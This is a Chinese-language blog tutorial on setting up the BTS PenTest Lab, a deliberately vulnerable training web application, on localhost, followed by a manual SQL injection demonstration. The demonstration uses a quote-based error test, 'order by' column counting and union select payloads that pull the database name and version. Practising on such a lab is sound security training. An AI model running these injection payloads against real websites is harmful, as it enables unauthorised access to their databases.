一、简介
BTS渗透测试实验室是一个开放源码的脆弱的Web应用程序,创建的网络安全和隐私的基础(www.cysecurity.org)。它可以用来了解许多不同类型的Web应用程序漏洞。
目前,该应用程序包含以下类型的漏洞:
● SQL注入
● XSS(包括Flash XSS)
● CSRF
● 点击劫持
● SSRF
● 文件包含
● 执行代码
● 不安全的直接对象引用
● 不受限制的文件上传漏洞
● 打开URL重定向
● 服务器端包含(SSI)注入
二、安装与配置
首先下载源码,这里可以下载我汉化好的中文版:http://download.csdn.net/detail/u011781521/9768345 下载下来之后,解压到集成环境中的WWW目录,我这里使用的是"PHPstudy"。
然后访问: http://localhost/btslab/setup.php
点击"Setup"进行数据库初始化,初始化之后就会进入首页
然后点击登录,输入用户名与密码,这里的用户名是admin,但是密码他是通过sh1加过密的
所以直接输password是登陆不进去的,如果嫌麻烦就直接改代码或者数据库。
三、实战
这个平台包含很多东西,具体的如下
先以手工注入来演示下"SQL注入1"
[html] view plain copy
- http://localhost/btslab/vulnerability/ForumPosts.php?id=1
先判断是否存在注入,在地址后面加上一个单引号
直接报错!然后猜解字段数 order by 4
正确说明字段数为4,然后猜解表名
[html] view plain copy
- http://localhost/btslab/vulnerability/ForumPosts.php?id=1 union select 1,2,3,4 from posts
然后猜解字段内容,把2,3,4替换成你想要猜解的字段内容名字。
[html] view plain copy
- http://localhost/btslab/vulnerability/ForumPosts.php?id=1 union select 1,database(),version(),4 from posts
时间: 2024-10-14 20:20:47